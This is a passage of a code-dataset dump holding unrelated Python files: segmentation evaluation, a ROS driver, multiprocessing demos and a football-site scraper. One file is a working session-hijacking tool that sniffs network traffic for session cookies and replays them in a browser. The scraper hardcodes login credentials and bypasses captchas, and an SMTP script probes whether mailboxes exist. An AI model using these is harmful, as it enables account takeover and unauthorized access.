np.maximum(minW - extendW, 0)\r\n        leftH = np.maximum(minH - extendH, 0)\r\n        rightW = np.minimum(maxW + extendW, W)\r\n        rightH = np.minimum(maxH + extendH, H)\r\n        objectW = rightW - leftW\r\n        objectH = rightH - leftH\r\n        # print(leftH, rightH, leftW, rightW)\r\n        # img_new = img.crop(box=(leftW, leftH, rightW, rightH)).resize((224, 224), Image.BILINEAR)\r\n        I = np.array(img)\r\n        I_obj = I[leftH:rightH, leftW:rightW, :]\r\n        # To PIL image\r\n        I_obj_img = Image.fromarray(I_obj)\r\n        # resize\r\n        I_obj_img = I_obj_img.resize((224, 224), Image.BILINEAR)\r\n        I_obj_new = np.array(I_obj_img)  # (H, W, C)\r\n        I_obj_new = I_obj_new.transpose(2, 0, 1)  # (C, H, W)\r\n        I_obj_new = I_obj_new / 255.0\r\n        I_obj_tensor = torch.from_numpy(I_obj_new)  # (C, H, W)\r\n        I_obj_tensor = torch.tensor(I_obj_tensor.unsqueeze(0), dtype=torch.float).cuda()\r\n\r\n        color = [np.random.randint(0, 255) for _ in range(3)]\r\n        color += [100]\r\n        color = tuple(color)\r\n\r\n        with torch.no_grad():\r\n            pre_v2 = None\r\n            pre_v1 = None\r\n            result_dict = model(I_obj_tensor, pre_v2, pre_v1, mode='test', temperature=0.0)  # (bs, seq_len)\r\n\r\n        # [0, 224] index 0: only one sample in mini-batch here\r\n        pred_x = result_dict['final_pred_x'].cpu().numpy()[0]\r\n        pred_y = result_dict['final_pred_y'].cpu().numpy()[0]\r\n        pred_lengths = result_dict['lengths'].cpu().numpy()[0]\r\n        pred_len = np.sum(pred_lengths) - 1  # sub EOS\r\n        vertices1 = []\r\n\r\n        scaleW = 224.0 / float(objectW)\r\n        scaleH = 224.0 / float(objectH)\r\n        # Get the pred poly\r\n        for i in range(pred_len):\r\n            vert = (pred_x[i] / scaleW + leftW,\r\n                    pred_y[i] / scaleH + leftH)\r\n            vertices1.append(vert)\r\n        img1 = Image.new('L', (W, H), 0)\r\n        ImageDraw.Draw(img1).polygon(vertices1, outline=1, fill=1)\r\n        pre_mask = np.array(img1)  # (H, W)\r\n\r\n        if saved:\r\n            try:\r\n                drw = ImageDraw.Draw(img, 'RGBA')\r\n                drw.polygon(vertices1, color)\r\n            except TypeError:\r\n                continue\r\n\r\n        gt_mask = np.array(label)\r\n        gt_mask[gt_mask == 255] = 1\r\n        filt = np.sum(gt_mask)\r\n        if filt <= 20*20:\r\n            continue\r\n        intersection = np.logical_and(gt_mask, pre_mask)\r\n        union = np.logical_or(gt_mask, pre_mask)\r\n        nu = np.sum(intersection)\r\n        de = np.sum(union)\r\n        # 求IoU\r\n        iiou = nu / (de * 1.0) if de != 0 else 0.\r\n        iou.append(iiou)\r\n\r\n    iou.sort()\r\n    iou.reverse()\r\n\r\n    print(iou)\r\n    print(len(iou))\r\n\r\n    print('IoU:', np.mean(np.array(iou)))\r\n\r\nif __name__ == '__main__':\r\n    get_score_ADE20K()\r\n\r\n    # parse = argparse.ArgumentParser(description='测试在Ade20K上的泛化得分')\r\n    # parse.add_argument('-p', '--pretrained', type=str, default=None)\r\n    # args = parse.parse_args()\r\n    # pre = args.pretrained\r\n    #\r\n    #\r\n    # model = PolygonModel(predict_delta=True).to(devices)\r\n    # pre = 'ResNext_Plus_RL2_retain_Epoch1-Step4000_ValIoU0.6316584628283326.pth'\r\n    # dirs = '/data/duye/pretrained_models/FPNRLtrain/' + pre\r\n    # model.load_state_dict(torch.load(dirs))\r\n    # model.eval()\r\n    # loader = loadAde20K(batch_size=1)\r\n    # iou = []\r\n    # print('starting.....')\r\n    # for index, batch in enumerate(loader):\r\n    #     print('index: ', index)\r\n    #     img = batch[0]\r\n    #     WH = batch[-1]  # WH_dict\r\n    #     left_WH = WH['left_WH']\r\n    #     origion_WH = WH['origion_WH']\r\n    #     object_WH = WH['object_WH']\r\n    #     gt = batch[1]\r\n    #     bs = img.shape[0]\r\n    #     scaleW = 224.0 / float(object_WH[0][0])  # 这里错了?!!!! 竟然会出来0,1啊啊啊，那么可能其他的也会错啊啊啊\r\n    #     scaleH = 224.0 / float(object_WH[1][0])\r\n    #     leftW = float(left_WH[0][0])\r\n    #     leftH = float(left_WH[1][0])\r\n    #     W = origion_WH[0][0]\r\n    #     H = origion_WH[1][0]\r\n    #     with torch.no_grad():\r\n    #         pre_v2 = None\r\n    #         pre_v1 = None\r\n    #         result_dict = model(img.to(devices),\r\n    #                             pre_v2,\r\n    #                             pre_v1,\r\n    #                             mode='test',\r\n    #                             temperature=0.0)  # (bs, seq_len)\r\n    #     pred_x = result_dict['final_pred_x'].cpu().numpy()[0]\r\n    #     pred_y = result_dict['final_pred_y'].cpu().numpy()[0]\r\n    #     pred_lengths = result_dict['lengths'].cpu().numpy()[0]\r\n    #     pred_len = np.sum(pred_lengths) - 1  # sub EOS\r\n    #     vertices1 = []\r\n    #     # Get the pred poly\r\n    #     for i in range(pred_len):\r\n    #         vert = (pred_x[i] / scaleW + leftW,\r\n    #                 pred_y[i] / scaleH + leftH)\r\n    #         vertices1.append(vert)\r\n    #     gt_mask = np.array(batch[1][0])\r\n    #     # 这个可能不对？\r\n    #     gt_mask[gt_mask == 255] = 1\r\n    #\r\n    #     # pre mask\r\n    #     img1 = Image.new('L', (W, H), 0)\r\n    #     ImageDraw.Draw(img1).polygon(vertices1, outline=1, fill=1)\r\n    #     pre_mask = np.array(img1)  # (H, W)\r\n    #     # get iou\r\n    #     intersection = np.logical_and(gt_mask, pre_mask)\r\n    #     union = np.logical_or(gt_mask, pre_mask)\r\n    #     nu = np.sum(intersection)\r\n    #     de = np.sum(union)\r\n    #     # 求IoU\r\n    #     iiou = nu / (de * 1.0) if de != 0 else 0.\r\n    #     iou.append(iiou)\r\n    #\r\n    # iou.sort()\r\n    # iou.reverse()\r\n    # print('--------------------------------------')\r\n    # # print(iou)\r\n    # # print(len(iou))\r\n    #\r\n    # print('IoU:', np.mean(np.array(iou)))\r\n\r\n\r\n# 1. IoU: 0.7144151423515942\r\n","sub_path":"DataUtils/ADE20K.py","file_name":"ADE20K.py","file_ext":"py","file_size_in_byte":10773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"510609307","text":"#!/usr/bin/env python\nimport time\nfrom tf.transformations import euler_from_quaternion\nimport rospy\nimport tf2_ros\nimport geometry_msgs\nfrom geometry_msgs.msg import Twist\nimport math\nimport tf_conversions\nglobal br\nglobal t\nglobal pub\nfrom geometry_msgs.msg import PoseStamped\nglobal pose_final\nglobal pose_atual\nglobal orientation\nfrom gazebo_msgs.msg import ModelStates\n\n\ndef reMap(value, maxInput, minInput, maxOutput, minOutput):\n\n\tvalue = maxInput if value > maxInput else value\n\tvalue = minInput if value < minInput else value\n\n\tinputSpan = maxInput - minInput\n\toutputSpan = maxOutput - minOutput\n\n\tscaledThrust = float(value - minInput) / float(inputSpan)\n\n\treturn minOutput + (scaledThrust * outputSpan)\n\n\n\n\ndef messageReceivedCallback(message):\n    global pose_final\n    global pose_atual\n    global t\n\n\n\n\n    tfBuffer = tf2_ros.Buffer()\n    listener = tf2_ros.TransformListener(tfBuffer)\n\n    rate = rospy.Rate(100)\n    while not rospy.is_shutdown():\n\n        # lookup_transform vai buscar a transformada entre os referencias que nos dissermos\n\n        try:\n            trans = tfBuffer.lookup_transform(\"World\",\"p_dcoelho/odom\", rospy.Time())\n            print('dey')\n        except (tf2_ros.LookupException, tf2_ros.ConnectivityException, tf2_ros.ExtrapolationException):\n            rate.sleep()\n            continue\n        # print(trans.transform.translation)\n        x = trans.transform.translation.x\n        y = trans.transform.translation.y\n        break\n\n    #Primeiro tenho de saber a posicao do p_dcoelho em relacao ao world, e depois a que somo estas coordenadas,\n    #pois estas coordenadas sao do ponto relativamente ao odom\n\n    #print('Posicao' + str(x) + 'Posicao' + str(y))\n\n\n    #Aqui sei para onde quero ir!\n\n    message.pose.position.x=message.pose.position.x + x\n    message.pose.position.y = message.pose.position.y + y\n    pose_final = message.pose\n    #print('Para onde vou')\n    #print(pose_final)\n    t = 1\n    find_z_orientation()\n\n\ndef pose_now(message):\n    global pose_final\n    global pose_atual\n    global t\n    global q\n\n    global x\n    global y\n    global theta\n\n    x = message.pose[2].position.x\n    y = message.pose[2].position.y\n\n    rot_q = message.pose[2].orientation\n    (roll, pitch, theta) = euler_from_quaternion([rot_q.x, rot_q.y, rot_q.z, rot_q.w])\n    q=1\n\n\n    '''\n    q=1\n\n    pose_atual = message.pose[2]\n    # print(message.twist)\n    # print(Message_Pose)\n\n    #print('Onde estou')\n    #print(pose_atual)\n    #print(pose_atual.orientation)\n    '''\n\n    #return pose_atual\n\n\ndef find_z_orientation():\n    global pose_final\n    global pose_atual\n    global orientation\n    global roll, pitch, yaw\n    orientation_q = pose_final.orientation\n    orientation_list = [orientation_q.x, orientation_q.y, orientation_q.z, orientation_q.w]\n    (roll, pitch, yaw) = euler_from_quaternion(orientation_list)\n    print(yaw)\n\n    #print(math.degrees(orientation))\n\n    #return orientation\n\ndef rotate_until_z():\n    global pub\n    global pose_atual\n    global pose_final\n    global orientation\n    twist = Twist()\n\n    while not rospy.is_shutdown():\n        inc_x = pose_final.position.x - x\n        inc_y = pose_final.position.y - y\n\n        print('atual' + str(theta))\n\n\n        angle_to_goal = math.atan2(inc_y, inc_x)\n        print('final' + str(angle_to_goal))\n\n        if abs(angle_to_goal - theta) > 0.1:\n            twist.linear.x = 0.0\n            twist.angular.z = 0.3\n        else:\n            twist.linear.x = 0.5\n            twist.angular.z = 0.0\n\n        pub.publish(twist)\n        rospy.sleep(0.5)\n\n\n\n\n\n\n\n\n\n\n\n\n\n    '''\n    print('rotating')\n    twist = Twist()\n    twist.linear.x = 0.0\n    twist.linear.y = 0.0\n    twist.linear.z = 0.0\n    twist.angular.x = 0.0\n    twist.angular.y = 0.0\n    twist.angular.z =0.2\n\n    pub.publish(twist)\n\n\n    #print('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')\n    #print(orientation)\n\n\n    while True:\n\n        print(\"orientacao=\" + str(orientation))\n        print(\"Z=\" + str(pose_atual.orientation.z))\n        (roll,pitch,yaw)=euler_from_quaternion(pose_atual.orientation)\n        print(\"YAW      \" + str(yaw))\n\n        time.sleep(0.5)\n  \n        if pose_atual.orientation.z>0.93 * orientation and pose_atual.orientation.z<1.07 * orientation:\n            twist = Twist()\n            twist.linear.x = 0.0\n            twist.linear.y = 0.0\n            twist.linear.z = 0.0\n            twist.angular.x = 0.0\n            twist.angular.y = 0.0\n            twist.angular.z = 0.0\n\n            pub.publish(twist)\n            #print('ORIENTACAO APONTADAAAAAAAAAAAAAAAAAA')\n            break\n'''\n\ndef straigth_line():\n    #print('LINHA DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDIRRRRRRRRRRRRRRRRRRRRRETTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTAAAAAAAAAAAAAAAAAAAAAAAAAAAA')\n    global pub\n    twist = Twist()\n    twist.linear.x = 0.1\n    twist.linear.y = 0.0\n    twist.linear.z = 0.0\n    twist.angular.x = 0.0\n    twist.angular.y = 0.0\n    twist.angular.z = 0.0\n    pub.publish(twist)\n\n\n\n\n\n\n\n\n\ndef main():\n    global br\n    global t\n    global pub\n    global q\n    t=0\n\n    pub = rospy.Publisher('p_dcoelho/cmd_vel', Twist, queue_size=10)\n\n    rospy.init_node('driver', anonymous=False)\n    rospy.Subscriber(\"/move_base_simple/goal\", PoseStamped, messageReceivedCallback)\n    rospy.Subscriber(\"/gazebo/model_states\", ModelStates, pose_now)\n\n\n    while True:\n\n        if t==1 and q==1:\n\n            orientation = find_z_orientation()\n\n            rotate_until_z()\n\n\n            rospy.spin()\n                \n\n\n\n\n\n            print('a')\n\n\n\n\n\n\n\n\n\n\n            rospy.sleep(5)\n\n            straigth_line()\n\n            print('end')\n            break\n\n\n\n\n\n\n\n\n    return\n    rospy.spin()\n\n    #pub = rospy.Publisher('p_dcoelho/cmd_vel', Twist, queue_size=10)\n    #rate = rospy.Rate(50)  # 10hz\n    '''\n    try:\n\n        while not rospy.is_shutdown():\n\n            twist = Twist()\n            twist.linear.x = 1.0\n            twist.linear.y = 0.0\n            twist.linear.z = 0.0\n            twist.angular.x = 0.0\n            twist.angular.y = 0.0\n            twist.angular.z = -1.0\n\n            pub.publish(twist)\n\n            rate.sleep()\n\n\n    except:\n\n            twist = Twist()\n            twist.linear.x = 0.0\n            twist.linear.y = 0.0\n            twist.linear.z = 0.0\n            twist.angular.x = 0.0\n            twist.angular.y = 0.0\n            twist.angular.z = 0.0\n            pub.publish(twist)\n\n    '''\n\nif __name__ == '__main__':\n    main()\n","sub_path":"Parte13/p_dcoelho_core/src/driver2.py","file_name":"driver2.py","file_ext":"py","file_size_in_byte":6475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"543111343","text":"#!/usr/bin/env python3\n# Paweł Rubin 2019\n#\n\"\"\"Session hijacking tool.\"\"\"\nfrom typing import List\nfrom argparse import ArgumentParser\n\nimport pyshark\nfrom selenium import webdriver\n\n\ndef parse_cookies(cookies: str) -> List[dict]:\n    \"\"\"Returns list of cookies in form {\"name\": <cookie_name>, \"value\": <cookie_value>}\"\"\"\n    return [\n        {\"name\": cookie[0], \"value\": cookie[1]}\n        for cookie in [cookie.split(\"=\") for cookie in cookies.split(\"; \")]\n    ]\n\n\nclass SessionCookieNotFoundError(Exception):\n    \"\"\"Raised when http cookies do not contain session cookie.\"\"\"\n\n\ndef get_session_cookie(cookies: str) -> dict:\n    \"\"\"Return session cookie from http.cookies.\n    Raises SessionCookieNotFoundError\"\"\"\n    try:\n        return next(\n            cookie\n            for cookie in parse_cookies(cookies)\n            if cookie[\"name\"] == \"JSESSIONID\" or cookie[\"name\"] == \"PHPSESSID\"\n        )\n    except StopIteration:\n        raise SessionCookieNotFoundError()\n\n\ndef hijack_session(interface):\n    \"\"\"Listens on given interface until session cookie has been found.\n    Opens Firefox webdriver with the cookie.\"\"\"\n    capture = pyshark.LiveCapture(\n        interface=interface, display_filter=\"http.cookie || http.cookie_pair\"\n    )\n\n    for packet in capture.sniff_continuously():\n        try:\n            base_url = packet.http.referer\n            session_cookie = get_session_cookie(packet.http.cookie)\n            browser = webdriver.Firefox()\n            browser.get(base_url)\n            browser.add_cookie(session_cookie)\n            browser.refresh()\n            break\n        except (AttributeError, SessionCookieNotFoundError):\n            continue\n\ndef parse_cli():\n    \"\"\"Parses command line arguments.\"\"\"\n    parser = ArgumentParser()\n\n    parser.add_argument(\n        \"--interface\",\n        \"-i\",\n        type=str,\n        required=True,\n        help=\"Network interface name.\",\n    )\n\n    return parser.parse_args()\n\nif __name__ == \"__main__\":\n    args = parse_cli()\n    hijack_session(args.interface)\n","sub_path":"l02/hijack_session.py","file_name":"hijack_session.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"619530663","text":"import re\nimport dns.resolver\nimport socket\nimport smtplib\n\n\ndef verify(address, email):\n    toVerify = address\n    match = re.match('^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,4})$', toVerify)\n\n    if match is None:\n        print('Invalid syntax')\n        raise ValueError('Could not verify email address provided')\n\n    # run the address through a dns resolver and return a MX record as exchanged in a string format\n    records = dns.resolver.query(toVerify, 'MX')\n    mxr = records[0].exchange\n    mxr = str(mxr)\n\n    # running a check to make sure that the email address actually exists\n\n    host = socket.gethostname()\n    server = smtplib.SMTP()\n    server.set_debuglevel(0)\n\n    # handle the conversation with the MX record\n    server.connect(mxr)\n    server.helo(host)  # gotta be friendly\n    server.mail(email)\n    code, message = server.rcpt(str(toVerify))\n    server.quit()\n\n    # 250 will be a success...hopefully\n\n    if code == 250:\n        print('Email address {0} is valid!'.format(toVerify))\n    else:\n        print('Email address {0} is invalid!'.format(toVerify))","sub_path":"verification.py","file_name":"verification.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"599075738","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# @File    : multiprocessing_test.py\n# @Time    : 2019/2/26 21:47\n# @Author  : MaiXiaochai\n# @Site    : https://github.com/MaiXiaochai\n\nimport time\nimport multiprocessing\nfrom concurrent.futures import ProcessPoolExecutor\n\n\ndef get_html(n):\n    time.sleep(n)\n    print(\"sub process success\")\n    return n\n\n\ndef main_pool():\n    pool = multiprocessing.Pool(multiprocessing.cpu_count())\n    # 异步提交任务\n    # result = pool.apply_async(get_html, args=(3, ))\n    #\n    # # 等待所有任务执行完成，完成后就可以得到result数据了\n    # pool.close()\n    # pool.join()\n    # print(result.get())\n    \"\"\"\n    out:\n    sub process success\n    3\n    \"\"\"\n\n    # # imap 与线程池中的map和Python中的map类似，结果按序返回\n    # for result in pool.imap(get_html, [1, 5, 3]):\n    #     print(\"{} sleep success\".format(result))\n    \"\"\"\n    out:\n    sub process success\n    1 sleep success\n    sub process success\n    sub process success\n    5 sleep success\n    3 sleep success\n    \"\"\"\n\n    # imap_unordered 谁先完成，打印谁的结果\n    for result in pool.imap_unordered(get_html, [1, 5, 3]):\n        print(\"{} sleep success\".format(result))\n    \"\"\"\n    out:\n    sub process success\n    1 sleep success\n    sub process success\n    3 sleep success\n    sub process success\n    5 sleep success\n    \"\"\"\n\n\ndef main():\n    process = multiprocessing.Process(target=get_html, args=(2, ))\n    print(process.pid)\n    process.start()\n    print(process.pid)\n    process.join()\n    print(\"main progress end\")\n    \"\"\"\n    out:\n    None\n    10000\n    sub process success\n    main progress end\n    \"\"\"\n\n\nif __name__ == \"__main__\":\n    main_pool()\n\n\n","sub_path":"expert_python/src/multiprocessing_test.py","file_name":"multiprocessing_test.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"291363482","text":"# -*- coding: utf-8 -*-\r\nimport os\r\nimport re\r\nimport csv\r\nimport time\r\nimport random\r\nimport requests\r\nfrom lxml import etree\r\nfrom datetime import datetime\r\nfrom selenium import webdriver\r\n# from chaojiying import Chaojiying_Client\r\n\r\nclass Selenium_Middleware(object):\r\n\r\n    def __init__(self):\r\n        self.chromeOptions = self.get_chrome()\r\n        self.browser = self.get_browser()\r\n\r\n    def get_chrome(self):\r\n        chromeOptions = webdriver.ChromeOptions()\r\n        chromeOptions.add_argument('--headless')\r\n        chromeOptions.add_argument('--disable-gpu')\r\n        chromeOptions.add_argument('window-size=1280,800')\r\n        chromeOptions.add_argument(\"--no-sandbox\")\r\n        chromeOptions.add_argument('blink-settings=imagesEnabled=false')\r\n        return chromeOptions\r\n\r\n    def get_browser(self):\r\n        browser = webdriver.Chrome(chrome_options=self.chromeOptions)\r\n        browser.set_page_load_timeout(10)\r\n        browser.set_script_timeout(10)\r\n        return browser\r\n\r\n\r\nrequests.packages.urllib3.disable_warnings()\r\n\r\n\r\nclass Dszuqiu(Selenium_Middleware):\r\n    def __init__(self):\r\n        self.session = self.session()\r\n        self.headers = self.headers()\r\n        self.headers2 = self.headers2()\r\n        super().__init__()\r\n\r\n    def session(self):\r\n        session = requests.session()\r\n        session.keep_alive = False\r\n        session.adapters.DEFAULT_RETRIES = 10\r\n        return session\r\n\r\n    def headers(self):\r\n        headers = {\r\n            \"User-Agent\": random.choice([\r\n                \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60\",\r\n                \"Opera/8.0 (Windows NT 5.1; U; en)\",\r\n                \"Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50\",\r\n                \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.50\",\r\n                \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0\",\r\n                \"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10 Gecko / 20100922Ubuntu / 10.10(maverick)Firefox / 3.6.10\",\r\n                # Safari\r\n                \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",\r\n                # chrome\r\n                \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36\",\r\n                \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11\",\r\n                \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16\",\r\n                # 360\r\n                \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36\",\r\n                \"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\",  # 淘宝浏览器\r\n                \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11\",\r\n                # 猎豹浏览器\r\n                \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER\",\r\n                \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)\",\r\n                \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)\",\r\n                # QQ浏览器\r\n                \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)\",\r\n                \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)\",\r\n                # sogou浏览器\r\n                \"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 SE 2.X MetaSr 1.0\",\r\n                \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)\",\r\n                # maxthon浏览器\r\n                \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36\",\r\n                # UC浏览器\r\n                \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 UBrowser/4.0.3214.0 Safari/537.36\",\r\n            ]),\r\n            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\r\n            'Accept-Encoding': 'gzip, deflate',\r\n            'Accept-Language': 'en-US,en;q=0.5',\r\n            'Connection': 'keep-alive',\r\n            'Upgrade-Insecure-Requests': '1',\r\n        }\r\n        return headers\r\n\r\n    def headers2(self):\r\n        headers2 = {\r\n            \"User-Agent\": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36',\r\n            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\r\n            'Accept-Encoding': 'gzip, deflate',\r\n            'Accept-Language': 'en-US,en;q=0.5',\r\n            'Connection': 'keep-alive',\r\n            'Upgrade-Insecure-Requests': '1',\r\n            'Cookie': ''\r\n        }\r\n        return headers2\r\n\r\n    def login(self):\r\n        login_url = 'https://www.dszuqiu.com/w_login'\r\n        captcha_url = 'https://www.dszuqiu.com/captcha'\r\n        resp = self.session.get(captcha_url, headers=self.headers, timeout=30, verify=False)\r\n        print(resp.status_code)\r\n        path = os.path.dirname(os.path.abspath(__file__))\r\n        open(f\"{path}/img/football.png\", 'wb').write(resp.content)\r\n        im = open(f'{path}/img/football.png', 'rb').read()\r\n        chaojiying = Chaojiying_Client()\r\n        code = chaojiying.PostPic(im, 1006)\r\n        result = code[\"pic_str\"].lower()\r\n        print('验证码识别结果为:', result)\r\n        data = {\r\n            \"zhanghu\": 'foreign.trade1@cibsc.biz',\r\n            \"password\": '11223344o',\r\n            \"captcha_input\": result,\r\n            \"rememberMe\": '1',\r\n            \"is_ajax\": '1'\r\n        }\r\n        response = self.session.post(login_url, headers=self.headers, data=data)\r\n        print(response.status_code)\r\n        cookie = requests.utils.dict_from_cookiejar(self.session.cookies)\r\n        return cookie\r\n\r\n    def biaodan(self,lsID, start_page, end_page):\r\n        for page in range(start_page, end_page+1):\r\n            index_url = f\"https://www.dszuqiu.com/league/{lsID}/p.{page}?type=ended_race\"\r\n            res = self.session.get(index_url, headers=self.headers, timeout=30, verify=False)\r\n            print('第一次请求:', res.status_code)\r\n            if res.status_code == 200:\r\n                html = etree.HTML(res.text)\r\n                xi = html.xpath('//section[@id=\"ended\"]//tbody/tr/td/a[@title=\"析\"]/@href')\r\n                for x in xi:\r\n                    id = re.findall('/race/([\\s|\\S]+)', x)[0]\r\n                    print(id)\r\n                    url = 'http://www.dszuqiu.com/race_ss/' + id\r\n                    response = self.session.get(url, headers=self.headers, timeout=30, verify=False)\r\n                    # 延迟秒数\r\n                    time.sleep(random.randint(2,10))\r\n                    print('第二次请求:', response.status_code)\r\n                    dhtml = etree.HTML(response.text)\r\n                    try:\r\n                        # 比赛球队\r\n                        qiudui = dhtml.xpath('//h3[@class=\"dsBreadcrumbs\"]/text()')[-1].strip()\r\n                        # 指数趋势\r\n                        zhishu = dhtml.xpath('//*[@id=\"race_part\"]/div[3]/div/table/tbody/tr/td[5]/a/text()')[0].strip()\r\n                        # 半角球全\r\n                        jiao1 = dhtml.xpath('//*[@id=\"race_part\"]/div[3]/div/table/tbody/tr/td[1]/text()')[0].strip()\r\n                        jiao2 = dhtml.xpath('//*[@id=\"race_part\"]/div[3]/div/table/tbody/tr/td[2]/text()')[0].strip()\r\n                        jiaoquan = jiao1 + ' ' + jiao2\r\n                        # 半进球全\r\n                        jin1 = dhtml.xpath('//*[@id=\"race_part\"]/div[3]/div/table/tbody/tr/td[3]/text()')[0].strip()\r\n                        jin2 = dhtml.xpath('//*[@id=\"race_part\"]/div[3]/div/table/tbody/tr/td[4]/text()')[0].strip()\r\n                        jinquan = jin1 + ' ' + jin2\r\n                        # 进球分布主\r\n                        try:\r\n                            jinzhu1 = dhtml.xpath(\r\n                                '/html/body/div/main/div/div/div/div[2]/div/div[1]/div[2]/div/div[1]/table/tbody/tr/td[1]/text()')[\r\n                                0].strip()\r\n                            jinzhu2 = dhtml.xpath(\r\n                                '/html/body/div/main/div/div/div/div[2]/div/div[1]/div[2]/div/div[1]/table/tbody/tr/td[2]/text()')[\r\n                                0].strip()\r\n                            jinzhu3 = dhtml.xpath(\r\n                                '/html/body/div/main/div/div/div/div[2]/div/div[1]/div[2]/div/div[1]/table/tbody/tr/td[3]/text()')[\r\n                                0].strip()\r\n                            jinzhu4 = dhtml.xpath(\r\n                                '/html/body/div/main/div/div/div/div[2]/div/div[1]/div[2]/div/div[1]/table/tbody/tr/td[4]/text()')[\r\n                                0].strip()\r\n                            jinzhu5 = dhtml.xpath(\r\n                                '/html/body/div/main/div/div/div/div[2]/div/div[1]/div[2]/div/div[1]/table/tbody/tr/td[5]/text()')[\r\n                                0].strip()\r\n                            jinzhu6 = dhtml.xpath(\r\n                                '/html/body/div/main/div/div/div/div[2]/div/div[1]/div[2]/div/div[1]/table/tbody/tr/td[6]/text()')[\r\n                                0].strip()\r\n                            jinzhu = jinzhu1 + ' ' + jinzhu2 + ' ' + jinzhu3 + ' ' + jinzhu4 + ' ' + jinzhu5 + ' ' + jinzhu6\r\n                        except:\r\n                            jinzhu = ''\r\n                        # 进球分布客\r\n                        try:\r\n                            jinke1 = dhtml.xpath(\r\n                                '/html/body/div/main/div/div/div/div[2]/div/div[1]/div[2]/div/div[2]/table/tbody/tr/td[1]/text()')[\r\n                                0].strip()\r\n                            jinke2 = dhtml.xpath(\r\n                                '/html/body/div/main/div/div/div/div[2]/div/div[1]/div[2]/div/div[2]/table/tbody/tr/td[2]/text()')[\r\n                                0].strip()\r\n                            jinke3 = dhtml.xpath(\r\n                                '/html/body/div/main/div/div/div/div[2]/div/div[1]/div[2]/div/div[2]/table/tbody/tr/td[3]/text()')[\r\n                                0].strip()\r\n                            jinke4 = dhtml.xpath(\r\n                                '/html/body/div/main/div/div/div/div[2]/div/div[1]/div[2]/div/div[2]/table/tbody/tr/td[4]/text()')[\r\n                                0].strip()\r\n                            jinke5 = dhtml.xpath(\r\n                                '/html/body/div/main/div/div/div/div[2]/div/div[1]/div[2]/div/div[2]/table/tbody/tr/td[5]/text()')[\r\n                                0].strip()\r\n                            jinke6 = dhtml.xpath(\r\n                                